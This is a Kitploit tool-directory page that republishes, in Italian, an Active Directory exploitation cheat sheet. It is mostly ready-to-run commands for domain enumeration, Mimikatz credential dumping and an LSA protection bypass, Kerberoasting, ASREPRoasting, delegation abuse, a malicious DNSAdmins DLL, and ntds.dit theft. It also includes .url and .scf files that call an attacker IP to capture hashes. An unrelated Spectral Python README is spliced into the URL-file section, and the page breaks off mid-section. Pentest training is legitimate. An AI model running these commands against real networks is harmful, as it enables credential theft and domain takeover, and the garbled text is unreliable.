Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Active-Directory-Exploitation-Cheat-Sheet — Un prontuario che contiene metodi comuni di enumerazione e attacco per Active Directory di Windows. | Kitploit
Strumenti/GitHubGitHub/s1ckb0y1337/active-directory-exploitation-cheat-sheet
Escalation di PrivilegiRicognizioneExploitMovimento LateralePost-ExploitPenetration TestingApprendimento e FormazioneRisorse Curate

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHub
s1ckb0y1337/active-directory-exploitation-cheat-sheet

Active-Directory-Exploitation-Cheat-Sheet

Un prontuario che contiene metodi comuni di enumerazione e attacco per Active Directory di Windows.

Vedi Repository
6.7k1.3k83 mesi faRevisionato da Kitploit

Cheat Sheet per lo Sfruttamento di Active Directory

Questo cheat sheet contiene metodi comuni di enumerazione e attacco per Active Directory di Windows.

ℹ️ Questo repository è stato creato da Nikos Katsiopis e Nikos Vourdas.

Questo cheat sheet è ispirato al repository PayloadAllTheThings.

Just Walking The Dog

Sommario

  • Active Directory Exploitation Cheat Sheet
    • Sommario
    • Strumenti
    • Enumerazione del Dominio
      • Usando PowerView
      • Usando il Modulo AD
      • Usando BloodHound
        • BloodHound Remoto
        • BloodHound in Locale
      • Usando Adalanche
        • Adalanche Remoto
      • Esportare Oggetti Enumerati
      • Strumenti Utili per l'Enumerazione
    • Escalation dei Privilegi Locali
      • Strumenti Locali Utili per l'Escalation dei Privilegi
    • Movimento Laterale
      • PowerShell Remoting
      • Esecuzione di Codice Remota con Credenziali PS
      • Importare un Modulo PowerShell ed Eseguire le sue Funzioni in Remoto
      • Esecuzione di Comandi Remoti con Stato
      • Mimikatz
      • Protocollo Desktop Remoto
      • Attacchi tramite File URL
      • Strumenti Utili
    • Escalation dei Privilegi di Dominio
      • Kerberoast
      • ASREPRoast
      • Attacco Password Spray
      • Forzatura dell'Impostazione SPN
      • Abuso delle Copie Shadow
      • Elencare e Decifrare Credenziali Memorizzate usando Mimikatz
      • Delega Non Vincolata
      • Delega Vincolata
      • Delega Vincolata Basata su Risorse
      • Abuso del Gruppo DNSAdmins
      • Abuso del DNS Integrato con Active Directory
      • Abuso del Gruppo Backup Operators
      • Abuso di Exchange
      • Armare il Bug della Stampante
      • Abuso delle ACL
      • Abuso di IPv6 con mitm6
      • Abuso della Cronologia SID
      • Sfruttamento di SharePoint
      • Zerologon
      • PrintNightmare
      • Servizi Certificati di Active Directory
      • No PAC
    • Persistenza nel Dominio
      • Attacco Golden Ticket
      • Attacco DCsync
      • Attacco Silver Ticket
      • Attacco Skeleton Key
      • Abuso del DSRM
      • SSP Personalizzato
    • Attacchi tra Foreste
      • Ticket di Fiducia
      • Abuso dei Server MSSQL
      • Rottura delle Fiducie tra Foreste

Strumenti

  • Powersploit
  • PowerUpSQL
  • Powermad
  • Impacket
  • Mimikatz
  • Rubeus -> Versione Compilata
  • BloodHound
  • Modulo AD
  • ASREPRoast
  • Adalanche

Enumerazione del Dominio

Usando PowerView

Powerview v.3.0
Wiki di Powerview

  • Ottieni il Dominio Corrente: Get-Domain

  • Enumera Altri Domini: Get-Domain -Domain <NomeDominio>

  • Ottieni il SID del Dominio: Get-DomainSID

  • Ottieni i Criteri di Dominio: ```powershell Get-DomainPolicy

    #Will show us the policy configurations of the Domain about system access or kerberos Get-DomainPolicy | Select-Object -ExpandProperty SystemAccess Get-DomainPolicy | Select-Object -ExpandProperty KerberosPolicy

    root@kitploit:~
  • Ottieni Controller di Dominio: ```powershell Get-DomainController Get-DomainController -Domain

    root@kitploit:~
  • Elenca gli utenti del dominio: ```powershell #Save all Domain Users to a file Get-DomainUser | Out-File -FilePath .\DomainUsers.txt

    #Will return specific properties of a specific user Get-DomainUser -Identity [username] -Properties DisplayName, MemberOf | Format-List

    #Enumerate user logged on a machine Get-NetLoggedon -ComputerName

    #Enumerate Session Information for a machine Get-NetSession -ComputerName

    #Enumerate domain machines of the current/specified domain where specific users are logged into Find-DomainUserLocation -Domain | Select-Object UserName, SessionFromName

    root@kitploit:~
  • Enumera computer del dominio: ```powershell Get-DomainComputer -Properties OperatingSystem, Name, DnsHostName | Sort-Object -Property DnsHostName

    #Enumerate Live machines Get-DomainComputer -Ping -Properties OperatingSystem, Name, DnsHostName | Sort-Object -Property DnsHostName

    root@kitploit:~

❗ Priv Esc a Domain Admin con User Hunting:
Ho accesso amministratore locale su una macchina -> Un Domain Admin ha una sessione su quella macchina -> Rubo il suo token e lo impersono -> Profitto!

Utilizzo del modulo AD

  • Ottenere il dominio corrente: Get-ADDomain

  • Enumerare altri domini: Get-ADDomain -Identity <Domain>

  • Ottenere il SID del dominio: Get-DomainSID

  • Ottenere i controller di dominio: ```powershell Get-ADDomainController Get-ADDomainController -Identity

    root@kitploit:~
  • Enumera utenti del dominio: ```powershell Get-ADUser -Filter * -Identity -Properties *

    #Get a specific "string" on a user's attribute Get-ADUser -Filter 'Description -like "wtver"' -Properties Description | select Name, Description

    root@kitploit:~
  • Enumera computer del dominio: ```powershell Get-ADComputer -Filter * -Properties * Get-ADGroup -Filter *

    root@kitploit:~
  • Enumera Trust di Dominio: ```powershell Get-ADTrust -Filter * Get-ADTrust -Identity

    root@kitploit:~
  • Enum Forest Trust: ```powershell Get-ADForest Get-ADForest -Identity

    #Domains of Forest Enumeration (Get-ADForest).Domains

    root@kitploit:~
  • Enum Local AppLocker Effective Policy: ```powershell Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

    root@kitploit:~

Usando BloodHound

BloodHound Remoto

Repository Python di BloodHound oppure installalo con `pip3 install bloodhound````powershell bloodhound-python -u -p -ns <Domain Controller's Ip> -d -c All

root@kitploit:~
#### BloodHound in loco```powershell
#Using exe ingestor
.\SharpHound.exe --CollectionMethod All --LdapUsername <UserName> --LdapPassword <Password> --domain <Domain> --domaincontroller <Domain Controller's Ip> --OutputDirectory <PathToFile>

#Using PowerShell module ingestor
. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All --LdapUsername <UserName> --LdapPassword <Password> --OutputDirectory <PathToFile>

Uso di Adalanche

Adalanche Remoto```bash

kali linux:

./adalanche collect activedirectory --domain
--username Username@Domain --password
--server

Example:

./adalanche collect activedirectory --domain windcorp.local
--username [email protected] --password 'password123!'
--server dc.windcorp.htb

-> Terminating successfully

Any error?:

LDAP Result Code 200 "Network Error": x509: certificate signed by unknown authority ?

./adalanche collect activedirectory --domain windcorp.local
--username [email protected] --password 'password123!'
--server dc.windcorp.htb --tlsmode NoTLS --port 389

Invalid Credentials ?

./adalanche collect activedirectory --domain windcorp.local
--username [email protected] --password 'password123!'
--server dc.windcorp.htb --tlsmode NoTLS --port 389
--authmode basic

Analyze data

go to web browser -> 127.0.0.1:8080

./adalanche analyze

root@kitploit:~
#### Esportare oggetti enumerati

È possibile esportare oggetti enumerati da qualsiasi modulo/cmdlet in un file XML per un'analisi successiva.

Il cmdlet `Export-Clixml` crea una rappresentazione XML basata su Common Language Infrastructure (CLI) di un oggetto o di più oggetti e la memorizza in un file. È quindi possibile utilizzare il cmdlet `Import-Clixml` per ricreare l'oggetto salvato in base al contenuto di quel file.```powershell
# Export Domain users to xml file.
Get-DomainUser | Export-CliXml .\DomainUsers.xml

# Later, when you want to utilise them for analysis even on any other machine.
$DomainUsers = Import-CliXml .\DomainUsers.xml

# You can now apply any condition, filters, etc.

$DomainUsers | select name

$DomainUsers | ? {$_.name -match "User's Name"}

Strumenti di enumerazione utili

  • ldapdomaindump Dumper di informazioni tramite LDAP
  • adidnsdump Dump DNS integrato da qualsiasi utente autenticato
  • ACLight Scoperta avanzata di account privilegiati
  • ADRecon Strumento dettagliato di ricognizione Active Directory

Escalation dei privilegi locale

  • Windows Local Privilege Escalation Cookbook Cookbook per l'escalation dei privilegi locale su Windows

  • Juicy Potato Abusare dei privilegi SeImpersonate o SeAssignPrimaryToken per l'impersonificazione del sistema

    ⚠️ Funziona solo fino a Windows Server 2016 e Windows 10 fino alla patch 1803

  • Lovely Potato Juicy Potato automatizzato

    ⚠️ Funziona solo fino a Windows Server 2016 e Windows 10 fino alla patch 1803

  • PrintSpoofer Sfrutta il PrinterBug per l'impersonificazione del sistema

    🙏 Funziona per Windows Server 2019 e Windows 10

  • RoguePotato Juicy Potato aggiornato

    🙏 Funziona per Windows Server 2019 e Windows 10

  • Abuso dei privilegi dei token

  • SMBGhost CVE-2020-0796
    PoC

  • CVE-2021-36934 (HiveNightmare/SeriousSAM)

Strumenti utili per l'escalation dei privilegi locale

  • PowerUp Abuso di configurazioni errate
  • BeRoot Strumento generico di enumerazione per l'escalation dei privilegi
  • Privesc Strumento generico di enumerazione per l'escalation dei privilegi
  • FullPowers Ripristina i privilegi di un account di servizio

Movimento laterale

PowerShell Remoting```powershell

#Enable PowerShell Remoting on current Machine (Needs Admin Access) Enable-PSRemoting

#Entering or Starting a new PSSession (Needs Admin Access) $sess = New-PSSession -ComputerName Enter-PSSession -ComputerName OR -Sessions

root@kitploit:~
### Esecuzione di codice remoto con credenziali PS```powershell
$SecPassword = ConvertTo-SecureString '<Wtver>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local\<WtverUser>', $SecPassword)
Invoke-Command -ComputerName <WtverMachine> -Credential $Cred -ScriptBlock {whoami}

Importare un modulo PowerShell ed eseguire le sue funzioni in remoto```powershell

#Execute the command and start a session Invoke-Command -Credential $cred -ComputerName -FilePath c:\FilePath\file.ps1 -Session $sess

#Interact with the session Enter-PSSession -Session $sess

root@kitploit:~
### Esecuzione di comandi remoti stateful```powershell
#Create a new session
$sess = New-PSSession -ComputerName <NameOfComputer>

#Execute command on the session
Invoke-Command -Session $sess -ScriptBlock {$ps = Get-Process}

#Check the result of the command to confirm we have an interactive session
Invoke-Command -Session $sess -ScriptBlock {$ps}

Mimikatz```powershell

#The commands are in cobalt strike format!

#Dump LSASS: mimikatz privilege::debug mimikatz token::elevate mimikatz sekurlsa::logonpasswords

#(Over) Pass The Hash mimikatz privilege::debug mimikatz sekurlsa::pth /user: /ntlm:<> /domain:

#List all available kerberos tickets in memory mimikatz sekurlsa::tickets

#Dump local Terminal Services credentials mimikatz sekurlsa::tspkg

#Dump and save LSASS in a file mimikatz sekurlsa::minidump c:\temp\lsass.dmp

#List cached MasterKeys mimikatz sekurlsa::dpapi

#List local Kerberos AES Keys mimikatz sekurlsa::ekeys

#Dump SAM Database mimikatz lsadump::sam

#Dump SECRETS Database mimikatz lsadump::secrets

#Inject and dump the Domain Controler's Credentials mimikatz privilege::debug mimikatz token::elevate mimikatz lsadump::lsa /inject

#Dump the Domain's Credentials without touching DC's LSASS and also remotely mimikatz lsadump::dcsync /domain: /all

#Dump old passwords and NTLM hashes of a user mimikatz lsadump::dcsync /user:<user> /history

#List and Dump local kerberos credentials mimikatz kerberos::list /dump

#Pass The Ticket mimikatz kerberos::ptt

#List TS/RDP sessions mimikatz ts::sessions

#List Vault credentials mimikatz vault::list

root@kitploit:~
:exclamation: Cosa succede se mimikatz non riesce a estrarre le credenziali a causa dei controlli di LSA Protection?

- LSA as a Protected Process (Kernel Land Bypass)  ```powershell
  #Check if LSA runs as a protected process by looking if the variable "RunAsPPL" is set to 0x1
  reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa

  #Next upload the mimidriver.sys from the official mimikatz repo to same folder of your mimikatz.exe
  #Now lets import the mimidriver.sys to the system
  mimikatz # !+

  #Now lets remove the protection flags from lsass.exe process
  mimikatz # !processprotect /process:lsass.exe /remove

  #Finally run the logonpasswords function to dump lsass
  mimikatz # sekurlsa::logonpasswords
  • LSA come processo protetto (Bypass "Fileless" in spazio utente)

    • PPLdump
    • Bypassare la protezione LSA in spazio utente
  • LSA è in esecuzione come processo virtualizzato (LSAISO) da Credential Guard ```powershell #Check if a process called lsaiso.exe exists on the running processes tasklist |findstr lsaiso

    #If it does there isn't a way tou dump lsass, we will only get encrypted data. But we can still use keyloggers or clipboard dumpers to capture data. #Lets inject our own malicious Security Support Provider into memory, for this example i'll use the one mimikatz provides mimikatz # misc::memssp

    #Now every user session and authentication into this machine will get logged and plaintext credentials will get captured and dumped into c:\windows\system32\mimilsa.log

    root@kitploit:~
  • Guida dettagliata a Mimikatz

  • Esplorando 2 opzioni di protezione di lsass

Protocollo Remote Desktop

Se l'host a cui vogliamo spostarci lateralmente ha "RestrictedAdmin" abilitato, possiamo passare l'hash usando il protocollo RDP e ottenere una sessione interattiva senza la password in chiaro.

  • Mimikatz: ```powershell #We execute pass-the-hash using mimikatz and spawn an instance of mstsc.exe with the "/restrictedadmin" flag privilege::debug sekurlsa::pth /user: /domain: /ntlm: /run:"mstsc.exe /restrictedadmin"

    #Then just click ok on the RDP dialogue and enjoy an interactive session as the user we impersonated

    root@kitploit:~
  • xFreeRDP:```powershell xfreerdp +compression +clipboard /dynamic-resolution +toggle-fullscreen /cert-ignore /bpp:8 /u: /pth: /v:<Hostname | IPAddress>

root@kitploit:~
:exclamation: Se la modalità Restricted Admin è disabilitata sul computer remoto, possiamo connetterci all'host usando un altro strumento/protocollo come psexec o winrm e abilitarla creando la seguente chiave di registro e impostando il suo valore a zero: "HKLM:\System\CurrentControlSet\Control\Lsa\DisableRestrictedAdmin".

- Bypassare la restrizione "Una sola sessione per utente"

Su un computer di dominio, se hai l'esecuzione di comandi come sistema o amministratore locale e desideri una sessione RDP che un altro utente sta già usando, puoi aggirare la restrizione della sessione singola aggiungendo la seguente chiave di registro:```powershell
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fSingleSessionPerUser /t REG_DWORD /d 0

Una volta completato ciò che desideri, puoi eliminare la chiave per ripristinare la restrizione di una sessione per utente.```powershell REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fSingleSessionPerUse

root@kitploit:~
### Attacchi ai file URL

- .url file  ```
  [InternetShortcut]
  URL=whatever
  WorkingDirectory=whatever
  IconFile=\\<AttackersIp>\%USERNAME%.icon
  IconIndex=1

Spectral Python (SPy) è un pacchetto Python per leggere, visualizzare, manipolare e analizzare dati di immagini iperspettrali.

Caratteristiche

  • Leggi dati spettrali da file ENVI (.hdr, .img, .sli, .dat, .bsq, .bil, .bip) e file ERDAS Imagine (.img).
  • Visualizza dati spettrali (RGB, falso colore, scala di grigi, band math, profilo spettrale).
  • Classifica l'immagine (K-means, ISODATA).
  • Calcola indici spettrali (NDVI, SAVI e molti altri).
  • Crea un'immagine a falsi colori.
  • Ridimensiona l'immagine spettrale con interpolazione.
  • Crea mosaico di immagini spettrali.
  • Crea una libreria spettrale da spettri di campo/laboratorio.
  • Leggi e scrivi librerie spettrali in vari formati.

Requisiti

  • Python 3.5+ (potrebbe funzionare con versioni precedenti, ma non l'ho verificato)
  • NumPy
  • SciPy
  • Matplotlib
  • PyQt4 o PySide almeno uno di questi

Installazione

root@kitploit:~
pip install spectral

o

root@kitploit:~
python setup.py install

Quindi in Python:

root@kitploit:~
>>> from spectral import *
>>> img = open_image('92AV3C.lan')
>>> img
open_image('92AV3C.lan')
Data shape: (145, 145, 220)
Interleave: bil
Sensor type: Unknown
Byte order: 0
Wavelength: None
>>> 

Se desideri eseguire gli strumenti GUI dalla riga di comando:

root@kitploit:~
python -m spectral.gui

pip install PyQt4 ``` [InternetShortcut] URL=file:///leak/leak.html

root@kitploit:~
- .scf file  ```
[Shell]
Command=2
IconFile=\\<AttackersIp>\Share\test.ico
[Taskbar]
Command=ToggleDesktop

Mettendo questi file in una condivisione scrivibile, la vittima deve solo aprire l'esplora file e navigare fino alla condivisione. Nota che il file non deve essere aperto né l'utente deve interagire con esso, ma deve essere nella parte superiore del filesystem o semplicemente visibile nella finestra di Esplora risorse per essere renderizzato. Usa Responder per catturare gli hash.

❗ Gli attacchi tramite file .scf non funzionano sulle ultime versioni di Windows.

Strumenti Utili

  • Powercat netcat scritto in PowerShell, e fornisce funzionalità di tunneling, relay e port forwarding.
  • SCShell strumento di movimento laterale senza file che si basa su ChangeServiceConfigA per eseguire comandi.
  • Evil-Winrm la shell WinRM definitiva per hacking/pentesting.
  • RunasCs Versione C# e open dell'utility runas.exe integrata di Windows.
  • ntlm_theft crea tutti i possibili formati di file per attacchi tramite URL.

Escalation dei Privilegi di Dominio

Kerberoast

CHE COS'È?:
Tutti gli utenti standard del dominio possono richiedere una copia di tutti gli account di servizio insieme ai relativi hash delle password, così possiamo chiedere un TGS per qualsiasi SPN legato a un account 'utente', estrarre il blob crittografato che è stato crittografato usando la password dell'utente e forzarlo offline.

  • PowerView: ```powershell #Get User Accounts that are used as Service Accounts Get-NetUser -SPN

    #Get every available SPN account, request a TGS and dump its hash Invoke-Kerberoast

    #Requesting the TGS for a single account: Request-SPNTicket

    #Export all tickets using Mimikatz Invoke-Mimikatz -Command '"kerberos::list /export"'

    root@kitploit:~
  • Modulo AD: ```powershell #Get User Accounts that are used as Service Accounts Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

    root@kitploit:~
  • Impacket: ```powershell python GetUserSPNs.py /: -outputfile

    root@kitploit:~
  • Rubeus: ```powershell #Kerberoasting and outputing on a file with a specific format Rubeus.exe kerberoast /outfile: /domain:

    #Kerberoasting whle being "OPSEC" safe, essentially while not try to roast AES enabled accounts Rubeus.exe kerberoast /outfile: /domain: /rc4opsec

    #Kerberoast AES enabled accounts Rubeus.exe kerberoast /outfile: /domain: /aes

    #Kerberoast specific user account Rubeus.exe kerberoast /outfile: /domain: /user: /simple

    #Kerberoast by specifying the authentication credentials Rubeus.exe kerberoast /outfile: /domain: /creduser: /credpassword:

    root@kitploit:~

ASREPRoast

COS'È QUESTO?:
Se un account utente del dominio non richiede la preautenticazione Kerberos, possiamo richiedere un TGT valido per questo account senza nemmeno avere credenziali di dominio, estrarre il blob crittografato e forzarlo offline.

  • PowerView: Get-DomainUser -PreauthNotRequired -Verbose
  • AD Module: Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth

Disabilitare forzatamente la preautenticazione Kerberos su un account su cui si hanno permessi di scrittura o superiori! Controllare i permessi interessanti sugli account:

Suggerimento: Aggiungiamo un filtro, ad esempio RDPUsers, per ottenere "Account utente" non "Account macchina", perché gli hash degli account macchina non sono decifrabili!

PowerView:```powershell Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"} Disable Kerberos Preauth: Set-DomainObject -Identity -XOR @{useraccountcontrol=4194304} -Verbose Check if the value changed: Get-DomainUser -PreauthNotRequired -Verbose

root@kitploit:~
- E infine esegui l'attacco utilizzando lo strumento [ASREPRoast](https://github.com/HarmJ0y/ASREPRoast).  ```powershell
  #Get a specific Accounts hash:
  Get-ASREPHash -UserName <UserName> -Verbose

  #Get any ASREPRoastable Users hashes:
  Invoke-ASREPRoast -Verbose
  • Utilizzando Rubeus: ```powershell #Trying the attack for all domain users Rubeus.exe asreproast /format:<hashcat|john> /domain: /outfile:

    #ASREPRoast specific user Rubeus.exe asreproast /user: /format:<hashcat|john> /domain: /outfile:

    #ASREPRoast users of a specific OU (Organization Unit) Rubeus.exe asreproast /ou: /format:<hashcat|john> /domain: /outfile:

    root@kitploit:~
  • Utilizzando Impacket: ```powershell #Trying the attack for the specified users on the file python GetNPUsers.py <domain_name>/ -usersfile <users_file> -outputfile

    root@kitploit:~

Attacco Password Spray

Se abbiamo raccolto alcune credenziali compromettendo un account utente, possiamo usare questo metodo per provare a sfruttare il riutilizzo delle password su altri account di dominio.

Strumenti:

  • DomainPasswordSpray
  • CrackMapExec
  • Invoke-CleverSpray
  • Spray

Forzare l'impostazione di SPN

COS'È QUESTO?: Se abbiamo permessi sufficienti -> GenericAll/GenericWrite possiamo impostare un SPN su un account target, richiedere un TGS, poi ottenere il suo blob e forzarlo con brute force.

  • PowerView: ```powershell #Check for interesting permissions on accounts: Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}

    #Check if current user has already an SPN setted: Get-DomainUser -Identity | select serviceprincipalname

    #Force set the SPN on the account: Set-DomainObject -Set @{serviceprincipalname='ops/whatever1'}

    root@kitploit:~
  • AD Module: ```powershell #Check if current user has already an SPN setted Get-ADUser -Identity -Properties ServicePrincipalName | select ServicePrincipalName

    #Force set the SPN on the account: Set-ADUser -Identiny -ServicePrincipalNames @{Add='ops/whatever1'}

    root@kitploit:~

Infine usa qualsiasi strumento di prima per ottenere l'hash e fare kerberoast!

Abusare delle Shadow Copies

Se hai accesso da amministratore locale su una macchina, prova a elencare le shadow copy, è un modo semplice per l'Escalation di dominio.```powershell #List shadow copies using vssadmin (Needs Admnistrator Access) vssadmin list shadows

#List shadow copies using diskshadow diskshadow list shadows all

#Make a symlink to the shadow copy and access it mklink /d c:\shadowcopy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\

root@kitploit:~
1. È possibile dumpare il database SAM di backup e raccogliere le credenziali.
2. Cercare le credenziali memorizzate da DPAPI e decifrarle.
3. Accedere ai file sensibili di backup.

### Elencare e decifrare le credenziali memorizzate usando Mimikatz

Di solito le credenziali crittografate sono memorizzate in:

- `%appdata%\Microsoft\Credentials`
- `%localappdata%\Microsoft\Credentials````powershell
#By using the cred function of mimikatz we can enumerate the cred object and get information about it:
dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>"

#From the previous command we are interested to the "guidMasterKey" parameter, that tells us which masterkey was used to encrypt the credential
#Lets enumerate the Master Key:
dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<usersid>\<MasterKeyGUID>"

#Now if we are on the context of the user (or system) that the credential belogs to, we can use the /rpc flag to pass the decryption of the masterkey to the domain controler:
dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<usersid>\<MasterKeyGUID>" /rpc

#We now have the masterkey in our local cache:
dpapi::cache

#Finally we can decrypt the credential using the cached masterkey:
dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>"

Detailed Article: DPAPI all the things

Unconstrained Delegation

COS'E' QUESTO ?: Se abbiamo accesso amministrativo su una macchina che ha la delega senza vincoli abilitata, possiamo aspettare che un bersaglio di alto valore o un DA si connetta ad essa, rubare il suo TGT, poi ptt e impersonarlo!

Using PowerView:```powershell #Discover domain joined computers that have Unconstrained Delegation enabled Get-NetComputer -UnConstrained

#List tickets and check if a DA or some High Value target has stored its TGT Invoke-Mimikatz -Command '"sekurlsa::tickets"'

#Command to monitor any incoming sessions on our compromised server Invoke-UserHunter -ComputerName -Poll -UserName -Delay -Verbose

#Dump the tickets to disk: Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'

#Impersonate the user using ptt attack: Invoke-Mimikatz -Command '"kerberos::ptt "'

root@kitploit:~
**Nota:** Possiamo anche usare Rubeus!

### Delega Vincolata```powershell
#Enumerate Users and Computers with constrained delegation
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth

#If we have a user that has Constrained delegation, we ask for a valid tgt of this user using kekeo
tgt::ask /user:<UserName> /domain:<Domain's FQDN> /rc4:<hashedPasswordOfTheUser>

#Then using the TGT we have ask a TGS for a Service this user has Access to through constrained delegation
tgs::s4u /tgt:<PathToTGT> /user:<UserToImpersonate>@<Domain's FQDN> /service:<Service's SPN>

#Finally use mimikatz to ptt the TGS
Invoke-Mimikatz -Command '"kerberos::ptt <PathToTGS>"'

ALTERNATIVA: Usando Rubeus:```powershell Rubeus.exe s4u /user: /rc4: /impersonateuser: /msdsspn:"<Service's SPN>" /altservice: /ptt

root@kitploit:~
Ora possiamo accedere al servizio come utente impersonato!

:triangular_flag_on_post: **Cosa succede se abbiamo diritti di delega solo per uno specifico SPN? (es. TIME):**

In questo caso possiamo comunque abusare di una funzionalità di Kerberos chiamata "alternative service". Questo ci permette di richiedere ticket TGS per altri servizi "alternativi" e non solo per quello per cui abbiamo diritti. Questo ci dà la possibilità di richiedere ticket validi per qualsiasi servizio supportato dall'host, dandoci accesso completo alla macchina target.

### Delegazione Vincolata Basata sulle Risorse

_CHE COS'È?: \
TL;DR \
Se abbiamo privilegi GenericALL/GenericWrite su un oggetto account macchina di un dominio, possiamo abusarne e impersonarci come qualsiasi utente del dominio su di esso. Per esempio possiamo impersonare l'Amministratore di Dominio e avere accesso completo._

Strumenti che utilizzeremo:

- [PowerView](https://github.com/PowerShellMafia/PowerSploit/tree/dev/Recon)
- [Powermad](https://github.com/Kevin-Robertson/Powermad)
- [Rubeus](https://github.com/GhostPack/Rubeus)

Per prima cosa dobbiamo entrare nel contesto di sicurezza dell'account utente/macchina che ha i privilegi sull'oggetto.
Se è un account utente possiamo usare Pass the Hash, RDP, PSCredentials, ecc.

Esempio di sfruttamento:```powershell
#Import Powermad and use it to create a new MACHINE ACCOUNT
. .\Powermad.ps1
New-MachineAccount -MachineAccount <MachineAccountName> -Password $(ConvertTo-SecureString 'p@ssword!' -AsPlainText -Force) -Verbose

#Import PowerView and get the SID of our new created machine account
. .\PowerView.ps1
$ComputerSid = Get-DomainComputer <MachineAccountName> -Properties objectsid | Select -Expand objectsid

#Then by using the SID we are going to build an ACE for the new created machine account using a raw security descriptor:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

#Next, we need to set the security descriptor in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the computer account we're taking over, again using PowerView
Get-DomainComputer TargetMachine | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

#After that we need to get the RC4 hash of the new machine account's password using Rubeus
Rubeus.exe hash /password:'p@ssword!'

#And for this example, we are going to impersonate Domain Administrator on the cifs service of the target computer using Rubeus
Rubeus.exe s4u /user:<MachineAccountName> /rc4:<RC4HashOfMachineAccountPassword> /impersonateuser:Administrator /msdsspn:cifs/TargetMachine.wtver.domain /domain:wtver.domain /ptt

#Finally we can access the C$ drive of the target machine
dir \\TargetMachine.wtver.domain\C$

Articoli dettagliati:

  • Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory
  • RESOURCE-BASED CONSTRAINED DELEGATION ABUSE

❗ In Constrain and Resource-Based Constrained Delegation, se non abbiamo la password/hash dell'account con TRUSTED_TO_AUTH_FOR_DELEGATION che cerchiamo di abusare, possiamo usare il trucco molto utile "tgt::deleg" di kekeo o "tgtdeleg" di rubeus e ingannare Kerberos per farci dare un TGT valido per quell'account. Poi usiamo semplicemente il ticket invece dell'hash dell'account per eseguire l'attacco.```powershell #Command on Rubeus Rubeus.exe tgtdeleg /nowrap

root@kitploit:~
Articolo Dettagliato:
[Rubeus – Ora Con Più Kekeo](https://www.harmj0y.net/blog/redteaming/rubeus-now-with-more-kekeo/)

### Abuso dei DNSAdmins

_COS'È QUESTO ?: Se un utente è membro del gruppo DNSAdmins, può potenzialmente caricare una DLL arbitraria con i privilegi di dns.exe che viene eseguito come SYSTEM. Nel caso in cui il DC serva un DNS, l'utente può elevare i propri privilegi a DA. Questo processo di sfruttamento necessita dei privilegi per riavviare il servizio DNS per funzionare._

1. Enumerare i membri del gruppo DNSAdmins:
   - PowerView: `Get-NetGroupMember -GroupName "DNSAdmins"`
   - AD Module: `Get-ADGroupMember -Identity DNSAdmins`
2. Una volta trovato un membro di questo gruppo, dobbiamo comprometterlo (Ci sono molti modi).
3. Quindi, servendo una DLL malevola su una condivisione SMB e configurando l'uso della DLL, possiamo elevare i nostri privilegi:   ```powershell
   #Using dnscmd:
   dnscmd <NameOfDNSMAchine> /config /serverlevelplugindll \\Path\To\Our\Dll\malicious.dll

   #Restart the DNS Service:
   sc \\DNSServer stop dns
   sc \\DNSServer start dns

Abuso di Active Directory-Integraded DNS

  • Exploiting Active Directory-Integrated DNS
  • ADIDNS Revisited
  • Inveigh

Abuso del gruppo Backup Operators

COS'È QUESTO?: Se riusciamo a compromettere un account utente membro del gruppo Backup Operators, possiamo abusare del suo SeBackupPrivilege per creare una copia shadow dello stato corrente del DC, estrarre il file del database ntds.dit, dumpare gli hash e scalare i nostri privilegi a DA.

  1. Una volta ottenuto l'accesso su un account con SeBackupPrivilege, possiamo accedere al DC e creare una copia shadow utilizzando il binario firmato diskshadow:

powershell #Create a .txt file that will contain the shadow copy process script Script ->{ set context persistent nowriters set metadata c:\windows\system32\spool\drivers\color\example.cab set verbose on begin backup add volume c: alias mydrive

create

expose %mydrive% w: end backup }

#Execute diskshadow with our script as parameter diskshadow /s script.txt

root@kitploit:~
2. Successivamente dobbiamo accedere alla copia shadow, potremmo avere il SeBackupPrivilege ma non possiamo semplicemente copiare e incollare ntds.dit, dobbiamo simulare un software di backup e usare chiamate API Win32 per copiarlo in una cartella accessibile. Per questo utilizzeremo [questo](https://github.com/giuliano108/SeBackupPrivilege) fantastico repository:   ```powershell
#Importing both dlls from the repo using powershell
Import-Module .\SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll

#Checking if the SeBackupPrivilege is enabled
Get-SeBackupPrivilege

#If it isn't we enable it
Set-SeBackupPrivilege

#Use the functionality of the dlls to copy the ntds.dit database file from the shadow copy to a location of our choice
